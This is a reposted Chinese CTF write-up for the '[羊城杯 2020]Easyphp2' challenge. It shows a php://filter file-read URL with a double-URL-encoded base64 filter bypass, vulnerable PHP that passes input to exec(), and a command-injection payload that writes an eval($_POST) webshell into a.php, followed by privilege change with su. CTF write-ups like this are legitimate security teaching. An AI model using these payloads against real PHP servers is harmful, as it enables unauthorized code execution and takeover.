當(dāng)前位置:
首頁(yè) >
[羊城杯 2020]Easyphp2
發(fā)布時(shí)間:2023/12/20
31
豆豆
生活随笔
收集整理的這篇文章主要介紹了
[羊城杯 2020]Easyphp2
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
知識(shí)點(diǎn):偽協(xié)議,linux下的su命令(更改當(dāng)前用戶)
分析
看到這種url,直接偽協(xié)議,過(guò)濾了幾個(gè)加密,但問(wèn)題不大,url編碼兩下就可以了。
?file=php://filter/%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565/resource=GWHT.php
這邊貼一下url編碼的exp:
獲得GWHT.php的源碼。
第一段意思就是cookie不能為PASS,要等于GWHT
第二段是要我們命令執(zhí)行:
<?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?> 簡(jiǎn)化一下就是這樣子,雖然它過(guò)濾了<?php但我們可以用<?=代替。 printf ' $count ' | wc -cpayload: '|echo "<?= eval(\$_POST['cmd'])?>" |tee a.php|'合起來(lái)就是這樣,意思是把shell寫入a.php文件里。 printf ''|echo "<?= eval(\$_POST['cmd'])?>" |tee a.php | '' | wc -c更改cookie后提交一下payload
用蟻劍連一下,發(fā)現(xiàn)flag,但要權(quán)限
在README中告訴我們了密碼,解密一下就是GWHTCTF
用su命令改一下當(dāng)前用戶就行了,然后讀取就可以了。
總結(jié)
以上是生活随笔為你收集整理的[羊城杯 2020]Easyphp2的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 物联网实训笔记_java处理XML文档
- 下一篇: 手机h5 页面扫码上传图片 同步显示到